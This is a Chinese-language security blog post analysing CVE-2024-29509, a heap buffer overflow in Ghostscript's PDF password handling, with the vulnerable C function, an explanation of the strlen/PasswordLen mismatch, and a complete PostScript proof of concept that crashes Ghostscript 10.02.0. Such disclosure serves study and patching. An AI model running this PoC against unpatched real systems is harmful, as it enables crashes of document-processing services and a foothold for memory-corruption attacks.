CVE-2024-29509:Artifex Ghostscript PDFPassword 处理期间的堆缓冲区溢出 _
CVE-2024-29509:Artifex Ghostscript PDFPassword 处理期间的堆缓冲区溢出 _
Ots安全 2025-02-12 11:54
目标
– Ghostscript < 10.03.0
解释
PDFPassword
Ghostscript 提供 PDF 解密功能,使用字符串
解密加密的 PDF 文档。具体来说,
当使用R5(RC4 128 位加密)
check_password_R5(…)
时会调用该函数,
R5 是 PDF 标准中定义的几种加密方法之一。
static int check_password_R5(pdf_context *ctx, char *Password, int PasswordLen, int KeyLen){
int code;
if (PasswordLen != 0) {
pdf_string *P = NULL, *P_UTF8 = NULL;
code = check_user_password_R5(ctx, Password, PasswordLen, KeyLen);
if (code >= 0)
return 0;
code = check_owner_password_R5(ctx, Password, PasswordLen, KeyLen);
if (code >= 0)
return 0;
/* If the supplied Password fails as the user *and* owner password, maybe its in * the locale, not UTF-8, try converting to UTF-8 */
code = pdfi_object_alloc(ctx, PDF_STRING, strlen(ctx->encryption.Password), (pdf_obj **)&P);
if (code < 0)
return code;
memcpy(P->data, Password, PasswordLen);
pdfi_countup(P);
code = locale_to_utf8(ctx, P, &P_UTF8);
if (code < 0) {
pdfi_countdown(P);
return code;
}
code = check_user_password_R5(ctx, (char *)P_UTF8->data, P_UTF8->length, KeyLen);
if (code >= 0) {
pdfi_countdown(P);
pdfi_countdown(P_UTF8);
return code;
}
code = check_owner_password_R5(ctx, (char *)P_UTF8->data, P_UTF8->length, KeyLen);
pdfi_countdown(P);
pdfi_countdown(P_UTF8);
if (code >= 0)
return code;
}
code = check_user_password_R5(ctx, (char *)"", 0, KeyLen);
if (code >= 0)
return 0;
return check_owner_password_R5(ctx, (char *)"", 0, KeyLen);
}
该check_password_R5(…)
函数PDFPassword
根据用户和所有者密码检查输入,如果失败,则尝试将其转换为 UTF-8。
在此过程中引入了一个漏洞。
1. 密码验证失败后,尝试转换为UTF-8
-
如果第一次输入的密码不正确,则会将其转换为 UTF-8 进行第二次尝试。
-
此时,在调用该函数之前,locale_to_utf8(…)
密码被放入新分配的缓冲区中memcpy(…)
。 -
出现分配大小(strlen(…))和复制大小(PasswordLen)不匹配的问题。
-
PasswordLen
是PDFPassword
PostScript 字符串的实际大小。 -
PostScript 字符串可以包含空字节,并且它们的大小
是单独存储的。 -
strlen(…)
当遇到第一个空字节时,它会确定字符串的长度
。 -
分配大小
:strlen(ctx->encryption.Password) -
要复制的尺寸
:PasswordLen -
复制的数据多于缓冲区大小,导致堆缓冲区溢出。
-
如果 PostScript 字符串包含空字节
,strlen(…)
则可能无法正确计算实际长度,并且分配的缓冲区大小
可能太小。 -
从(实际密码大小)复制memcpy(…)
时,由于复制的数据超出了缓冲区大小,因此可能会发生堆缓冲区溢出。PasswordLen
以下是根据所保存的数据做出的解释:
1. \000
在 PostScript 中编码空字节。
/PDFPassword (hello\000world)def
-
它是一个长度为 11 的 PostScript 字符串,strlen
但被认为长度为 5。 -
即memcpy
如下。
// char[5] "hello\000world" 11
memcpy(P->data, Password, PasswordLen);
因此,在 PostScript 代码中PDFPassword
,设置为“hello\000world”
,这是一个长度为 11 的 PostScript 字符串,strlen(…)
但遇到第一个空字节则返回 5。结果,由于11 个字节的数据被复制到分配大小为 5 个字节的缓冲区中,因此发生了缓冲区溢出
。
概念证明
触发漏洞的 poc 代码, 用PostScript
编写。
1. 创建导致漏洞的 PDF 文件
/Payload (%PDF-1.7
1 0 obj << /CF << /StdCF << /AuthEvent /DocOpen /CFM /AESV3 /Length 32 >> >>
/Filter /Standard /Length 256
/O <bdc7906c8e8074c880ac23065956c0db6a83d234a942d296364d065edf800b8e32a728ba6916718fbeb70e071a4a33ba>
/OE <7c88773da067c026cc58b5204106d54e320d509ab1d10ac3251f7a14e60d6970>
/P -1028 /Perms <1b6bd44c023964a469d801f598c8d5c4> /R 5 /StmF /StdCF /StrF /StdCF
/U <338dc89fb4a90d45cacf91298759e015a6fb0d3f132af0e6970a0079af12054554e7ab059c5392f9abce8a329b2b154b>
/UE <0d8b18de820855c5855de2560a81db57bb4674946bdf2b25eb6b901386492bd7> /V 5 >>
endobj xref 0 1 0000000000 65535 f 0000000009 00000 n trailer << /Encrypt 1 0 R >> startxref 0) def
-
上述代码是在 PostScript 中生成 PDF 文件
的简单部分。 -
指定PDF 的加密版本(R 5)
并使用 AES 加密创建文档。 -
该文件本身并不是完整的 PDF,但其结构使得解密逻辑可以触及
。
2. 将 PDF 数据保存到文件
/OutFile (/tmp/out) (w) file def
OutFile Payload writestring
OutFile closefile
-
这是将生成的 PDF 数据/tmp/out
保存到文件的部分。 -
当 Ghostscript 运行时,它负责告诉它解释这个文件。
3.设置密码(漏洞触发器)
/PDFPassword (hello\000BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB) def
-
PDFPassword
这是设置为特定字符串
的部分。 -
“hello\000BBBB…”
用作您的密码。 -
hello\000
→”hello”
末尾包含一个 NULL 字节 ( \000) -
BBBB…
→数据大于缓冲区大小
(漏洞触发) -
然后,该值在 PDF 解释过程中check_password_R5(…)传递给函数
。
4. 运行 Ghostscript PDF 解析器(漏洞触发器)
(/tmp/out) (r) file runpdf
-
/tmp/out
命令 Ghostscript 运行以形式保存的PDF 文件。 -
在这个过程中,解密逻辑被执行,从而出现漏洞
。
5. 运行 PoC 和完整代码
– 运行 PoC
$ ghostscript -dNODISPLAY poc.ps
GPL Ghostscript 10.02.0 (2023-09-13)
Copyright (C) 2023 Artifex Software, Inc. All rights reserved.
This software is supplied under the GNU AGPLv3 and comes with NO WARRANTY:
see the file COPYING for details.
zsh: segmentation fault (core dumped) ghostscript -dNODISPLAY poc.ps
- 完整 PoC 代码
% Simple PDF with R5 encryption.
% This is not a very valid PDF but we only need to reach the decryption logic
/Payload (%PDF-1.7
1 0 obj << /CF << /StdCF << /AuthEvent /DocOpen /CFM /AESV3 /Length 32 >> >>
/Filter /Standard /Length 256
/O <bdc7906c8e8074c880ac23065956c0db6a83d234a942d296364d065edf800b8e32a728ba6916718fbeb70e071a4a33ba>
/OE <7c88773da067c026cc58b5204106d54e320d509ab1d10ac3251f7a14e60d6970>
/P -1028 /Perms <1b6bd44c023964a469d801f598c8d5c4> /R 5 /StmF /StdCF /StrF /StdCF
/U <338dc89fb4a90d45cacf91298759e015a6fb0d3f132af0e6970a0079af12054554e7ab059c5392f9abce8a329b2b154b>
/UE <0d8b18de820855c5855de2560a81db57bb4674946bdf2b25eb6b901386492bd7> /V 5 >>
endobj xref 0 1 0000000000 65535 f 0000000009 00000 n trailer << /Encrypt 1 0 R >> startxref 0) def
% Write the PDF data to a temporary file
/OutFile (/tmp/out) (w) file def
OutFile Payload writestring
OutFile closefile
% Set the PDFPassword to a buffer whose length is larger than its strlen
/PDFPassword (hello\000BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB) def
% Run the PDF interpreter on the file
(/tmp/out) (r) file runpdf
% 종료
showpage
quit
参考
– https://nvd.nist.gov/vuln/detail/CVE-2024-29509
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里